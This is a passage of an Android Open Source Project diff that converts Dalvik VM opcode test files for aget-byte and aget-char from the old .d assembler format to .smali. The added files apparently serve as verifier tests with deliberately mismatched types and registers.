diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali
new file mode 100644
index 0000000..33a437c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_5.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d
deleted file mode 100644
index 6861fa4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_6.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali
new file mode 100644
index 0000000..71df7b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_6.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d
deleted file mode 100644
index 03ab879..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_7.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali
new file mode 100644
index 0000000..17b396f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_7.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d
deleted file mode 100644
index 92f0273..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_8.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BF)B
-.limit regs 9
-
-       aget-byte v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali
new file mode 100644
index 0000000..9b5a0a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_8.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BF)B
+.registers 9
+
+       aget-byte v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d
deleted file mode 100644
index b2d4ffd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_byte_9.java
-.class public dot.junit.opcodes.aget_byte.d.T_aget_byte_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BI)B
-.limit regs 9
-
-       aget-byte v0, v7, v9
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali
new file mode 100644
index 0000000..76a6c6a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_byte/d/T_aget_byte_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_byte_9.java"
+.class  public Ldot/junit/opcodes/aget_byte/d/T_aget_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BI)B
+.registers 9
+
+       aget-byte v0, v7, v9
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d
deleted file mode 100644
index 0789458..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_1.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali
new file mode 100644
index 0000000..fc12f745
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_1.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d
deleted file mode 100644
index ff1b8fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_2.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CD)C
-.limit regs 9
-
-       aget-char v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali
new file mode 100644
index 0000000..a6e8855
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_2.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CD)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d
deleted file mode 100644
index b197a3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_3.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CJ)C
-.limit regs 9
-
-       aget-char v0, v6, v7
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali
new file mode 100644
index 0000000..23fb572
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_3.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CJ)C
+.registers 9
+
+       aget-char v0, v6, v7
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d
deleted file mode 100644
index 53904af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_4.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali
new file mode 100644
index 0000000..2fd0f6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_4.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d
deleted file mode 100644
index ed9a20d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_5.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DI)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali
new file mode 100644
index 0000000..1aac2e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_5.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DI)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d
deleted file mode 100644
index 04cee20..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_6.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali
new file mode 100644
index 0000000..19e7604
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_6.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)C
+.registers 9
+
+       aget-char v0, v7, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d
deleted file mode 100644
index 508f6fb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_7.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CI)C
-.limit regs 9
-
-       aget-char v0, v7, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali
new file mode 100644
index 0000000..4e17d83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_7.java"
+.class  public Ldot/junit/opcodes/aget_char/d/T_aget_char_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CI)C
+.registers 9
+
+       aget-char v0, v7, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d
deleted file mode 100644
index daaa044..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_char_8.java
-.class public dot.junit.opcodes.aget_char.d.T_aget_char_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CF)C
-.limit regs 9
-
-       aget-char v0, v7, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali
new file mode 100644
index 0000000..70c3e55
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_char/d/T_aget_char_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_char_8.java"
